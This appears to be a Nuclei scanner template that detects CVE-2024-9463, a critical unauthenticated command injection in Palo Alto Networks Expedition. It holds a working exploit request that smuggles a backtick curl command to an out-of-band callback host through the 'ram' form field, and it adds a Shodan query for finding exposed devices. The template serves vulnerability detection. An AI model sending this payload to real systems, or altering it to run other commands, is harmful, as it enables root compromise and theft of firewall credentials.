id: CVE-2024-9463

info:
  name: PaloAlto Networks Expedition - Remote Code Execution
  author: princechaddha
  severity: critical
  description: |
    An OS command injection vulnerability in Palo Alto Networks Expedition allows an unauthenticated attacker to run arbitrary OS commands as root in Expedition, resulting in disclosure of usernames, cleartext passwords, device configurations, and device API keys of PAN-OS firewalls.
  impact: |
    Successful exploitation could result in unauthorized access and control of the affected device.
  remediation: |
    Apply the necessary security patches provided by Palo Alto Networks to mitigate the CVE-2024-9463 vulnerability.
  reference:
    - https://x.com/watchtowrcyber/status/1844306954245767623
    - https://security.paloaltonetworks.com/PAN-SA-2024-0010
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9463
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/S
    cvss-score: 9.9
    cve-id: CVE-2024-9463
    cwe-id: CWE-78
    epss-score: 0.98393
    epss-percentile: 0.99911
  metadata:
    verified: true
    max-request: 1
    vendor: paloaltonetworks
    product: expedition
    shodan-query: http.favicon.hash:1499876150
  tags: cve,cve2024,palo-alto,rce,kev,vkev,vuln

http:
  - raw:
      - |
        POST /API/convertCSVtoParquet.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        ram=watchTowr`curl+{{interactsh-url}}`

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "Undefined index: taskID"
# digest: 490a00463044022024e6335d08ee4ceb762db6d862be01f05cffba88635a3d97b8960b4237e7047d022051a27602dd12080b6ba7260c118f2fbb27aad66049246c4be589524e004df65f:922c64590222798bb761d5b6d8e72950